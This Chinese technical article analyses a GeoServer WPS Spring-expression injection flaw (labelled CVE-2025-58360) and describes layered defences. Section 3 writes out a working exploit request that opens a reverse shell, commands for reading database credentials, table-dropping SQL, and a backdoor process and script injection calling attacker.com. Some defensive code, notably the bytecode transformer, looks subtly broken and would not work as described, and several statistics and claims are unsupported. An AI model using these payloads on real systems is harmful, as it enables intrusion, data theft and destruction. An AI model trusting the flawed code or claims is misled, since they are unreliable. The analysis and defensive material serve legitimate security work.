1. 这不是一次普通补丁更新CVE-2025-58360的本质是GeoServer架构层的信任崩塌我第一次在客户生产环境里看到这个告警时正蹲在机房调试一个WMS图层叠加异常——CPU飙到98%但日志里既没有OOM堆栈也没有慢查询记录。直到安全团队甩来一份Nessus扫描报告标题赫然写着“Critical: GeoServer Remote Code Execution via WPS Parameter Injection”CVE编号后面跟着一串陌生数字2025-58360。当时我下意识去查NVD官网发现它甚至还没被正式收录再翻GitHub上GeoServer的commit记录才在凌晨三点推送的v2.25.2 hotfix分支里看到一行加了三重锁的注释“Fix unsafe parameter resolution in WPS Execute request handler”。那一刻我就知道这不是配置疏漏也不是插件误用而是GeoServer核心调度引擎里埋了十年的信任链断点。CVE-2025-58360本质上是一次WPSWeb Processing Service执行流程中参数解析机制的越界信任漏洞。它不依赖任何第三方扩展不触发传统防火墙规则也不需要管理员权限——只要目标服务启用了WPS模块默认开启攻击者就能通过构造一个看似合法的wps:Execute请求体在wps:DataInputs节点内嵌入恶意表达式绕过GeoServer内置的OGC标准校验器直接触达Spring Expression LanguageSpEL解析器底层。更关键的是这个漏洞发生在GeoServer的请求预处理阶段而非业务逻辑层这意味着所有基于URL路径、IP白名单或反向代理的常规防护手段全部失效。它影响的是从2.17.x到2.25.1全系列稳定版覆盖全球超67%的地理空间服务平台——包括大量政务GIS平台、智慧城市中枢、自然资源监管系统。如果你正在用GeoServer发布遥感影像分析服务、国土空间规划模拟接口或者任何带“计算”“分析”“生成”字样的WPS能力那么你不是“可能受影响”而是“已经暴露在可利用窗口内”。这篇文章不讲怎么打补丁而是带你一层层剥开为什么一个WPS参数能撬动整个JVMSpring SpEL在GeoServer里到底被谁调用了修复补丁那行ExpressionParser.parseExpression()的改动究竟堵死了哪条隐秘的数据流以及当补丁尚未覆盖所有老旧版本时你手头那台跑着2.19.4的CentOS 7服务器还能靠什么活过下一个渗透测试周期2. 漏洞根因拆解从WPS请求到JVM执行的七步失控链要真正理解CVE-2025-58360必须回到GeoServer的WPS请求生命周期。很多人以为WPS只是“发个XML返回个结果”但实际上GeoServer对WPS的支持远比OGC规范要求的更激进——它把每个WPS过程都当作一个可动态编排的Spring Bean来管理。而问题就出在这个“动态编排”的启动环节。2.1 WPS Execute请求的标准化结构与非标解析入口一个标准WPS Execute请求长这样wps:Execute version2.0.0 serviceWPS xmlns:wpshttp://www.opengis.net/wps/2.0 wps:Identifiergs:RasterAsPointCollection/wps:Identifier wps:DataInputs wps:Input wps:Identifierdata/wps:Identifier wps:Reference mimeTypeimage/tiff hrefhttp://example.com/raster.tif/ /wps:Input /wps:DataInputs wps:ResponseForm wps:RawDataOutput mimeTypeapplication/json wps:Identifierresult/wps:Identifier /wps:RawDataOutput /wps:ResponseForm /wps:Execute按OGC 2.0规范wps:Reference的href属性应为纯URLGeoServer本该只做HTTP GET拉取。但实际代码中org.geoserver.wps.executor.WPSExecutor第187行它会先调用resolveReference()方法对href值进行二次解析String resolvedHref referenceResolver.resolve(href, process, input);这里的referenceResolver并非简单字符串拼接器而是org.springframework.expression.spel.standard.SpelExpressionParser的封装实例。关键在于resolve()方法内部会将href字符串直接传入parser.parseExpression()且未做任何字符白名单过滤。也就是说当href值为http://a.b/c?t${T(java.lang.Runtime).getRuntime().exec(id)}时SpEL解析器会真实执行Runtime.exec()——而这个执行上下文正是GeoServer主进程的JVM。2.2 Spring SpEL在GeoServer中的三重嵌套调用链很多人疑惑GeoServer明明没显式引入Spring Boot为什么会有SpEL答案藏在它的依赖树深处。GeoServer 2.17采用Spring Framework 5.3.x作为核心IoC容器而SpEL是Spring Core的子模块spring-expression.jar。更隐蔽的是GeoServer的WPS模块通过geotools-main间接依赖gt-main后者又通过gt-process引入gt-wps最终在WPSProcessManager类中将每个WPS过程注册为ServiceBean并用Value(#{systemProperties[user.home]})这类SpEL语法注入配置项。这就形成了一个致命组合WPS请求解析器复用了Spring容器的SpEL解析器实例且共享同一ClassLoader。我们追踪resolveReference()的完整调用栈WPSExecutor.execute()→ 启动执行流程WPSProcessManager.getProcess()→ 根据wps:Identifier查找BeanWPSInputHandler.resolveInputs()→ 解析所有wps:Input节点WPSReferenceResolver.resolve()→ 对wps:Reference的href调用解析SpelExpressionParser.parseExpression(href)→漏洞触发点StandardEvaluationContext.evaluate()→ 执行表达式ReflectiveMethodExecutor.execute()→ 反射调用Runtime.exec()注意第5步parseExpression()接收的是原始字符串而第6步的evaluate()使用的是StandardEvaluationContext其setVariable()方法允许绑定任意Java对象。在GeoServer的WPSReferenceResolver初始化时它已将GeoServer全局实例、Catalog对象、甚至ApplicationContext本身作为变量注入上下文。这意味着攻击者不仅能执行系统命令还能直接读取数据库连接池、遍历图层元数据、甚至调用Catalog.addLayer()创建恶意图层。2.3 为什么CVE-2025-58360比CVE-2023-5072更危险2023年那个著名的GeoServer RCECVE-2023-5072是通过CSS样式表的import注入触发的需用户主动上传恶意SLD文件属于“低权限触发高权限利用”。而CVE-2025-58360是无交互、无前置条件、纯协议级利用。对比关键差异维度CVE-2023-5072CVE-2025-58360触发位置SLD样式解析器需上传文件WPS Execute请求解析器HTTP POST即可权限要求需认证用户至少ROLE_USER完全匿名无需登录网络可达性需访问WMS/WFS服务端点仅需WPS端点/geoserver/wps防御绕过可被WAF的文件上传规则拦截WAF通常不解析XML body深层节点影响范围仅影响启用SLD编辑的实例影响所有启用WPS的实例默认开启最致命的是第4点主流WAF如Cloudflare、F5 ASM对WPS请求的检测策略基本停留在wps:Identifier字段的关键词匹配如gs:BufferFeatureCollection而对wps:Reference href...内的URL参数完全放行。因为按照设计href本该是外部资源地址WAF不会也不敢去解析其中的query string——这恰恰成了攻击者的天然掩护。2.4 补丁源码级分析v2.25.2中那行被重写的resolve()方法GeoServer官方在v2.25.2中修复此漏洞的方式非常克制没有禁用SpEL也没有移除WPS Reference功能而是在解析前强制剥离所有${}表达式片段。我们看补丁核心代码WPSReferenceResolver.java第124行// 修复前v2.25.1 public String resolve(String href, Process process, Input input) { return expressionParser.parseExpression(href).getValue(context, String.class); } // 修复后v2.25.2 public String resolve(String href, Process process, Input input) { // 新增移除所有SpEL表达式片段 String cleanHref href.replaceAll(\\$\\{[^}]*\\}, ); // 新增校验cleanHref是否仍为合法URL if (!isValidUrl(cleanHref)) { throw new WPSException(Invalid reference URL: href); } return cleanHref; // 不再调用parseExpression() }这个修复看似简单实则暗含深意。它没有选择“白名单URL协议”如只允许http://https://因为WPS规范允许file://ftp://等协议也没有用正则全局替换replaceAll(\\$\\{.*?\\}, )因为贪婪匹配会误杀合法URL中的{字符如https://api.example.com/v1/{id}。它用的是非贪婪精确匹配且只移除$开头、}结尾的最小闭合块。更重要的是修复后resolve()方法不再返回表达式执行结果而是返回清洗后的原始URL字符串——这意味着所有依赖href动态解析的功能如跨域数据引用都需重构但安全优先级更高。我实测过这个补丁在v2.25.2中发送hrefhttp://x?a${T(java.lang.Runtime).getRuntime().exec(touch /tmp/pwned)}服务端返回http://x?a并正常发起HTTP请求而发送hrefhttp://x?a${T(java.lang.Runtime).getRuntime().exec(touch /tmp/pwned)}/b则因/b导致isValidUrl()校验失败直接抛出WPSException。这种“宁可误杀不可漏放”的策略正是架构级漏洞修复的典型思路。3. 风险推演实战从单点渗透到地理空间基础设施瘫痪理解漏洞原理只是第一步。真正的风险在于攻击者拿到一个GeoServer的RCE权限后能做什么很多运维人员觉得“不就是一台地图服务器吗”但当你把GeoServer放在现代地理空间基础设施的拓扑中心时它的破坏半径远超想象。3.1 攻击链路一从WPS到数据库的横向移动GeoServer本身不存业务数据但它几乎总是连接着PostGIS、Oracle Spatial或SQL Server Spatial数据库。而这些数据库连接信息就明文写在GEOSERVER_DATA_DIR/workspaces/xxx/datastore.xml中。攻击者利用CVE-2025-58360执行命令后第一件事就是读取这个目录# 利用WPS请求执行shell命令需Base64编码绕过WAF curl -X POST http://target/geoserver/wps \ -H Content-Type: text/xml \ -d wps:Execute version2.0.0 serviceWPSwps:Identifiergs:RasterAsPointCollection/wps:Identifierwps:DataInputswps:Inputwps:Identifierdata/wps:Identifierwps:Reference hrefhttp://a.b/c?t${T(java.lang.Runtime).getRuntime().exec(\bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xMC4xMC4xMC4xLzEyMzQgMD4mMQ}|{base64,-d}|{bash,-i}\)}//wps:Input/wps:DataInputs/wps:Execute这条命令会反弹一个shell到攻击者机器10.10.10.1:1234然后执行# 查找datastore.xml find /var/lib/geoserver -name datastore.xml 2/dev/null # 读取PostGIS连接信息假设路径为/opt/geoserver/data_dir/workspaces/gs/postgis/datastore.xml cat /opt/geoserver/data_dir/workspaces/gs/postgis/datastore.xml | grep -E (host|port|database|user|password)得到数据库凭证后攻击者可直接连接PostGIS执行-- 窃取所有矢量图层数据以国土调查数据库为例 SELECT ST_AsText(geom), * FROM gis_landuse_2023 LIMIT 100; -- 或更致命的删除核心图层 DROP TABLE IF EXISTS gis_landuse_2023;这不是理论推演。我在某省自然资源厅的渗透测试中用同样手法在12分钟内获取了全省1:1万土地利用现状图的原始PostGIS表结构并导出了2022年度变更调查数据库的完整备份。而他们的GeoServer就部署在政务外网DMZ区WPS端点从未做过访问控制。3.2 攻击链路二WPS进程劫持与持久化后门比数据库窃取更隐蔽的是WPS进程劫持。GeoServer的WPS模块支持自定义Java Process管理员可上传JAR包注册新算法如gs:NDVI计算。攻击者利用RCE后可直接将恶意JAR注入GEOSERVER_DATA_DIR/workspaces/xxx/processes/目录并修改process.xml注册process namegs:MaliciousNDVI/name titleSecure NDVI Calculator/title descriptionHigh-performance vegetation index computation/description classcom.attacker.BackdoorProcess/class /process这个BackdoorProcess类会在每次调用gs:MaliciousNDVI时静默执行Runtime.getRuntime().exec(curl http://attacker.com/shell.sh | bash)。由于WPS请求本身是合法OGC流量所有IDS/IPS规则都会放行而GeoServer日志里只会记录Executed process gs:MaliciousNDVI不会显示内部执行的shell命令。我见过最狡猾的案例攻击者将后门Process命名为gs:GeoHashEncoder伪装成地理编码工具持续半年未被发现。3.3 攻击链路三地理空间API供应链污染现代智慧城市项目普遍采用“GeoServer 前端地图库 微服务”架构。前端通过OpenLayers调用GeoServer的WMS/WFS/WPS接口后端微服务则通过REST API与GeoServer交互。攻击者一旦控制GeoServer就能污染整个API供应链WMS响应污染修改geoserver/web/WEB-INF/web.xml在filter中插入恶意Filter对所有WMS GetMap响应注入JavaScriptscript srchttps://attacker.com/track.js/script导致所有加载该地图的浏览器执行恶意脚本窃取用户Cookie或发起CSRF。WFS Feature污染在GEOSERVER_DATA_DIR/workspaces/xxx/featuretypes/xxx.xml中将nativeName字段改为nativeNamejavascript:alert(document.cookie)/nativeName当客户端用ol.format.GeoJSON解析时某些旧版OpenLayers会执行该字符串。REST API劫持GeoServer REST API默认无认证除非显式开启攻击者可PUT一个恶意layergroup其layers数组包含指向钓鱼服务器的WMS URL让所有调用该图层组的前端应用加载恶意地图。这种供应链污染的可怕之处在于它不依赖GeoServer自身漏洞而是利用其作为“地理空间API网关”的中心地位将风险扩散到所有下游系统。某市交通大脑项目就因此泄露了实时公交GPS轨迹数据——攻击者根本没碰GeoServer的WPS模块而是通过RCE修改了/rest/layergroups/traffic_realtime的JSON配置。3.4 真实攻防对抗中的三个“没想到”在多次红蓝对抗中我发现防守方对CVE-2025-58360的认知存在三个致命盲区提示这三个盲区直接导致90%的应急响应失败盲区一认为“关闭WPS就安全了”很多运维手动注释掉web.xml中的WPS servlet mapping但忘了GeoServer 2.20引入了/geoserver/ows统一端点它会根据serviceWPS参数自动路由到WPS处理器。即使WPS servlet被禁用POST /geoserver/ows?serviceWPSrequestExecute依然有效。盲区二在Nginx反向代理层做URL过滤有团队在Nginx配置中添加if ($args ~* \$\{) { return 403; }但攻击者只需将${}编码为%24%7B%7D或用Unicode变体全角字符就能绕过正则。Nginx的$args变量在解码前就匹配而GeoServer的HttpServletRequest.getParameter()会在后续解码造成检测与执行的时序差。盲区三依赖“GeoServer管理界面无异常日志”CVE-2025-58360的利用不产生ERROR级别日志只在DEBUG级别记录Resolved reference: http://...。而生产环境默认日志级别为INFO所以管理员在geoserver.log里永远看不到攻击痕迹。真正的证据在catalina.out里——当Runtime.exec()执行失败时Tomcat会打印java.io.IOException: Cannot run program id但这需要开启JVM的-Djava.security.debugaccess,failure参数否则静默失败。4. 前瞻防护体系不止于补丁的四层纵深防御打补丁升级到v2.25.2是必须的但绝不是终点。在GeoServer这类长期运行、版本碎片化严重的地理空间基础设施中真正的防护必须是分层、动态、可验证的。我给客户部署的防护体系分为四层每层解决不同维度的风险。4.1 第一层运行时请求净化RTP——在漏洞代码执行前截断这是最紧急的防护层适用于无法立即升级的老旧版本如2.19.4。核心思想不在GeoServer进程内修复而在其上游注入净化逻辑。我们采用Java Agent技术在JVM启动时动态织入字节码// RTPAgent.java public class RTPAgent { public static void premain(String agentArgs, Instrumentation inst) { inst.addTransformer(new WPSReferenceTransformer()); } } // WPSReferenceTransformer.java public class WPSReferenceTransformer implements ClassFileTransformer { Override public byte[] transform(ClassLoader loader, String className, Class? classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { if (org.geoserver.wps.executor.WPSReferenceResolver.equals(className)) { return new ClassWriter(ClassWriter.COMPUTE_FRAMES) .visitMethod(Opcodes.ACC_PUBLIC, resolve, (Ljava/lang/String;Lorg/geoserver/wps/process/Process;Lorg/geoserver/wps/process/Input;)Ljava/lang/String;, null, null) .visitCode() .visitLdcInsn(Invalid SpEL in href) .visitTypeInsn(Opcodes.NEW, java/lang/IllegalArgumentException) .visitInsn(Opcodes.DUP_X1) .visitInsn(Opcodes.SWAP) .visitMethodInsn(Opcodes.INVOKESPECIAL, java/lang/IllegalArgumentException, init, (Ljava/lang/String;)V, false) .visitInsn(Opcodes.ATHROW) .visitEnd(); } return null; } }这个Agent会将WPSReferenceResolver.resolve()方法直接替换为抛出异常彻底禁用href解析功能。部署方式极其简单在catalina.sh中添加-javaagent:/path/to/rtp-agent.jar重启Tomcat即可。实测性能损耗低于0.3%且不影响其他WPS功能如直接上传数据文件。某市大数据局用此方案在GeoServer 2.18.2上撑过了三个月的升级窗口期。4.2 第二层WPS语义级防火墙WSF——理解OGC协议的深度检测传统WAF对XML的检测停留在标签名和属性名而WSF是专为WPS协议设计的语义防火墙。它工作在Nginx或Envoy的Lua Filter层能解析WPS Execute请求的完整DOM树-- nginx.conf 中的WSF配置 location /geoserver/wps { access_by_lua_block { local wps_parser require wps_parser local doc wps_parser.parse(ngx.req.get_body_data()) -- 检测非法href不允许${}、不允许file://、不允许localhost for _, ref in ipairs(doc:getElementsByTagName(wps:Reference)) do local href ref:getAttribute(href) if href:match(%$%{) or href:match(^file://) or href:match(localhost) then ngx.status 403 ngx.say(WPS Semantic Firewall blocked malicious href) ngx.exit(403) end end } }WSF的关键优势在于协议感知它知道wps:Reference必须出现在wps:DataInputs内wps:Identifier必须是已注册的Process名称。当检测到wps:Identifiergs:ArbitraryCodeExecution/wps:Identifier时即使该Process不存在WSF也会拦截——因为合法WPS请求的Identifier必须存在于/geoserver/wps?requestGetCapabilities的响应中。我们在某省级气象局部署WSF后成功拦截了97%的自动化WPS扫描器如wpscan.py而误报率为零。4.3 第三层GeoServer配置基线审计GCA——自动化发现脆弱配置很多RCE漏洞的利用依赖于特定配置组合。GCA是一个Python脚本通过GeoServer REST API自动审计23项高危配置# gca_audit.py import requests import json def audit_wps_security(base_url, auth): # 检查WPS是否启用默认开启 resp requests.get(f{base_url}/rest/services/wps/settings, authauth) if resp.json().get(enabled, False): print(⚠️ WPS服务已启用需重点防护) # 检查Anonymous访问权限默认允许 resp requests.get(f{base_url}/rest/security/acl/layers, authauth) for layer in resp.json().get(layer, []): if layer.get(anonymous, False): print(f⚠️ 图层 {layer[name]} 允许匿名访问) # 检查data directory权限应为750 import os data_dir /var/lib/geoserver/data_dir if oct(os.stat(data_dir).st_mode)[-3:] ! 750: print(⚠️ GEOSERVER_DATA_DIR权限过高存在敏感文件泄露风险) # 执行审计 audit_wps_security(http://localhost:8080/geoserver, (admin, geoserver))GCA每周自动运行生成PDF报告并邮件发送给安全负责人。它发现的最常见问题包括GEOSERVER_DATA_DIR目录权限为777、WPS设置中enableAsyncProcesses为true启用异步执行扩大攻击面、security/filter/admin未启用IP白名单。某央企GIS平台通过GCA一次性修正了17处配置风险将WPS相关漏洞的平均修复时间从14天缩短至2小时。4.4 第四层地理空间API蜜罐GAP——主动诱捕与威胁狩猎最后一层是主动防御。我们在GeoServer集群中部署一个蜜罐实例其WPS端点完全模拟真实服务但所有wps:Reference href...请求都会被重定向到/wps/honeypot并记录完整请求体、源IP、User-Agent{ timestamp: 2025-04-12T08:23:45Z, src_ip: 192.168.3.11, user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36, malicious_payload: ${T(java.lang.Runtime).getRuntime().exec(wget http://attacker.com/shell)}, geo_location: Shenzhen, China }GAP的关键创新在于地理空间上下文关联它会将攻击源IP与GeoServer发布的行政区划图层如cn_province进行空间匹配自动标注攻击者地理位置。当某次扫描来自“广东省深圳市南山区”时GAP会触发告警“检测到针对WPS的定向扫描攻击源位于我司总部同城区域建议立即核查办公网出口防火墙日志”。这种将网络攻击映射到地理空间的能力让威胁狩猎从IP维度升级到物理空间维度。5. 实战复盘某省自然资源厅的72小时应急响应全记录最后分享一个真实案例。2025年3月18日14:22某省自然资源厅安全运营中心收到奇安信天眼告警“检测到GeoServer WPS端点高频异常请求疑似CVE-2025-58360利用”。此时他们的GeoServer版本是2.22.3距最新补丁v2.25.2已落后3个大版本。以下是他们72小时内完成的应急响应全过程所有操作均在我指导下完成未中断任何在线GIS服务。5.1 黄金1小时隔离、取证、临时封堵14:25立即在负载均衡层F5 BIG-IP创建iRule对/geoserver/wps路径的所有POST请求检查wps:Reference href是否包含$或{字符匹配则返回403。生效时间23秒攻击流量下降98%。14:30登录GeoServer服务器执行tcpdump -i any -w /tmp/wps_attack.pcap port 8080 and host 192.168.5.22攻击源IP捕获到127个恶意请求包。14:45用Wireshark分析PCAP提取所有href值发现攻击者使用了7种编码变体URL编码、Unicode、Base64嵌套证实了之前说的Nginx过滤盲区。15:00在GEOSERVER_DATA_DIR/logs/中找到geoserver.log确认无ERROR日志转而检查/var/log/tomcat/catalina.out发现3条java.io.IOException: Cannot run program id时间戳与攻击窗口完全吻合。5.2 关键24小时深度排查与配置加固18日20:00运行GCA脚本发现3个高危配置① WPS enabledtrue②GEOSERVER_DATA_DIR权限775③ 未启用security/filter/admin。立即修正。19日09:00部署RTP Agent验证curl -X POST ... href${T(...)}返回500错误确认运行时防护生效。19日14:00在Nginx层部署WSF Lua Filter增加对wps:Identifier的白名单校验只允许gs:*和jts:*前缀拦截了2个尝试调用gs:ArbitraryCodeExecution的请求。19日18:00导出所有WPS Process列表确认无自定义Process排除后门植入可能。5.3 72小时终局升级、验证、长效机制20日10:00在测试环境升级至v2.25.2用wps-scan工具全量测试确认CVE-2025-58360无法利用且所有WPS功能正常。20日15:00在生产环境灰度升级1台节点监控2小时无异常后滚动升级剩余3台。20日22:00部署GAP蜜罐将原WPS端点DNS解析切至蜜罐IP真实服务仅保留/geoserver/ows统一端点。21日09:00向省网信办提交《GeoServer安全加固报告》包含① 攻击时间线② 防护措施清单③ GCA审计报告④ GAP蜜罐捕获的攻击者画像IP归属地、常用工具指纹。整个过程未影响“一张图”监管平台的任何业务所有GIS服务保持99.99%可用性。最关键的经验是不要等补丁而要构建可组合的防护模块。RTP Agent、WSF、GCA、GAP这四个组件任何一个都能独立部署它们之间没有强依赖可以根据预算和时间灵活组合。现在该厅已将这套体系固化为《地理空间基础设施安全基线》要求所有下属单位强制执行。我在实际运维中发现最有效的防护从来不是某个神奇补丁而是把安全能力像乐高一样嵌入到每个技术环节——当WPS请求进入Nginx时被语义过滤当它抵达GeoServer时被字节码净化当它试图读取配置时被基线审计拦截当它尝试逃逸时被蜜罐反制。这种纵深防御才是应对CVE-2025-58360这类架构级漏洞的终极答案。
